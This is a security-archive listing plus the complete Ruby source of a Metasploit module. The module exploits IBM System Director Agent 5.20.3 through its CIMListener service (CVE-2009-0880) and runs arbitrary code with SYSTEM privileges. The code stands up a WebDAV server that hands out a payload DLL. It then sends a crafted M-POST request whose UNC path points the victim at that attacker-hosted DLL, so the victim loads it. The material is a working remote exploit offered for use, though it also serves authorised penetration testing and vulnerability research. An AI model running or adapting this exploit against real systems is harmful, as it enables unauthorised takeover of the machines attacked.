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IBM System Director Agent DLL Injection

IBM System Director Agent DLL Injection
Posted Dec 7, 2012
Authored by Kingcope, Bernhard Mueller, juan vazquez | Site metasploit.com

This Metasploit module abuses the "wmicimsv" service on IBM System Director Agent 5.20.3 to accomplish arbitrary DLL injection and execute arbitrary code with SYSTEM privileges. In order to accomplish remote DLL injection it uses a WebDAV service as disclosed by kingcope on December 2012. Because of this, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled. It is enabled and automatically started by default on Windows XP SP3, but disabled by default on Windows 2003 SP2.

tags | exploit, remote, arbitrary
systems | windows, xp
advisories | CVE-2009-0880, OSVDB-52616, OSVDB-88102
MD5 | 1b5e33138c767b2b05228cc23a11ff0f

IBM System Director Agent DLL Injection

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

def initialize
super(
'Name' => 'IBM System Director Agent DLL Injection',
'Description' => %q{
This module abuses the "wmicimsv" service on IBM System Director Agent 5.20.3
to accomplish arbitrary DLL injection and execute arbitrary code with SYSTEM
privileges.

In order to accomplish remote DLL injection it uses a WebDAV service as disclosed
by kingcope on December 2012. Because of this, the target host must have the
WebClient service (WebDAV Mini-Redirector) enabled. It is enabled and automatically
started by default on Windows XP SP3, but disabled by default on Windows 2003 SP2.
},
'Author' => [
'Bernhard Mueller', # Vulnerability discovery and exploit using directory traversal
'kingcope', # Exploit using WebDAV
'juan vazquez' # Metasploit module
],
'Platform' => 'win',
'References' =>
[
[ 'CVE', '2009-0880'],
[ 'OSVDB', '52616'],
[ 'OSVDB', '88102'],
[ 'BID', '34065' ],
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20090305-2_IBM_director_privilege_escalation.txt' ],
[ 'URL', 'http://seclists.org/bugtraq/2012/Dec/5' ]
],
'Targets' =>
[
[ 'IBM System Director Agent 5.20.3 / Windows with WebClient enabled', { } ]
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => 'Mar 10 2009'
)
register_options(
[
Opt::RPORT(6988),
OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]),
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ])
], self.class)
end

def auto_target(cli, request)
agent = request.headers['User-Agent']

ret = nil
# Check for MSIE and/or WebDAV redirector requests
if agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/
ret = targets[0]
elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/
ret = targets[0]
else
print_error("Unknown User-Agent: #{agent}")
end

ret
end


def on_request_uri(cli, request)

mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
end

# If there is no subdirectory in the request, we need to redirect.
if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)
if (request.uri == '/')
subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
else
subdir = request.uri + '/'
end
print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
send_redirect(cli, subdir)
return
end

# dispatch WebDAV requests based on method first
case request.method
when 'OPTIONS'
process_options(cli, request, mytarget)

when 'PROPFIND'
process_propfind(cli, request, mytarget)

when 'GET'
process_get(cli, request, mytarget)

when 'PUT'
print_status("Sending 404 for PUT #{request.uri} ...")
send_not_found(cli)

else
print_error("Unexpected request method encountered: #{request.method}")

end

end


#
# GET requests
#
def process_get(cli, request, target)

print_status("Responding to GET request #{request.uri}")
# dispatch based on extension
if (request.uri =~ /\.dll$/i)
print_status("Sending DLL")
return if ((p = regenerate_payload(cli)) == nil)
dll_payload = generate_payload_dll
send_response(cli, dll_payload, { 'Content-Type' => 'application/octet-stream' })
else
send_not_found(cli)
end
end


#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request, target)
print_status("Responding to WebDAV OPTIONS request")
headers = {
#'DASL' => '<DAV:sql>',
#'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end


#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request, target)
path = request.uri
print_status("Received WebDAV PROPFIND request")
body = ''

if (path =~ /\.dll$/i)
print_status("Sending DLL multistatus for #{path} ...")
body = %Q|<?xml version="1.0"?>
<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
<a:response>
</a:response>
</a:multistatus>
|
elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i) or (path =~ /\.dll/i)
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return

elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return

end

# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end

def xml_data
xml = <<-eos
<?xml version="1.0" encoding="utf-8" ?>
<CIM CIMVERSION="2.0" DTDVERSION="2.0">
<MESSAGE ID="1007" PROTOCOLVERSION="1.0">
<SIMPLEEXPREQ>
<EXPMETHODCALL NAME="ExportIndication">
<EXPPARAMVALUE NAME="NewIndication">
<INSTANCE CLASSNAME="CIM_AlertIndication" >
<PROPERTY NAME="Description" TYPE="string">
<VALUE>Sample CIM_AlertIndication indication</VALUE>
</PROPERTY>
<PROPERTY NAME="AlertType" TYPE="uint16">
<VALUE>1</VALUE>
</PROPERTY>
<PROPERTY NAME="PerceivedSeverity" TYPE="uint16">
<VALUE>3</VALUE>
</PROPERTY>
<PROPERTY NAME="ProbableCause" TYPE="uint16">
<VALUE>2</VALUE>
</PROPERTY>
<PROPERTY NAME="IndicationTime" TYPE="datetime">
<VALUE>20010515104354.000000:000</VALUE>
</PROPERTY>
</INSTANCE>
</EXPPARAMVALUE>
</EXPMETHODCALL>
</SIMPLEEXPREQ>
</MESSAGE>
</CIM>
eos
return xml
end

def check

peer = "#{rhost}:#{rport}"
print_status("#{peer} - Checking if CIMListener exists...")

res = send_request_cgi({
'uri' => "/CIMListener/",
'method' => 'M-POST',
'ctype' => 'application/xml; charset=utf-8',
'headers' => {
"Man" => "http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40",
"CIMOperation" => "MethodCall",
"CIMExport" => "MethodRequest",
"CIMExportMethod" => "ExportIndication"
},
'data' => xml_data,
}, 1)

if res and res.code == 200 and res.body =~ /CIMVERSION/
return CheckCode::Appears
end
return CheckCode::Safe
end

def exploit

if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
end

super

end

def primer

basename = rand_text_alpha(3)
share_name = rand_text_alpha(3)
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
exploit_unc = "\\\\#{myhost}\\"

vprint_status("Payload available at #{exploit_unc}#{share_name}\\#{basename}.dll")

@peer = "#{rhost}:#{rport}"

print_status("#{@peer} - Injecting DLL...")

res = send_request_cgi({
'uri' => "/CIMListener/#{exploit_unc}#{share_name}\\#{basename}.dll",
'method' => 'M-POST',
'ctype' => 'application/xml; charset=utf-8',
'headers' => {
"Man" => "http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40",
"CIMOperation" => "MethodCall",
"CIMExport" => "MethodRequest",
"CIMExportMethod" => "ExportIndication"
},
'data' => xml_data,
})

if res and res.code == 200 and res.body =~ /CIMVERSION/
print_status"#{@peer} - Then injection seemed to work..."
else
fail_with(Exploit::Failure::Unknown, "#{@peer} - Unexpected response")
end
end

end
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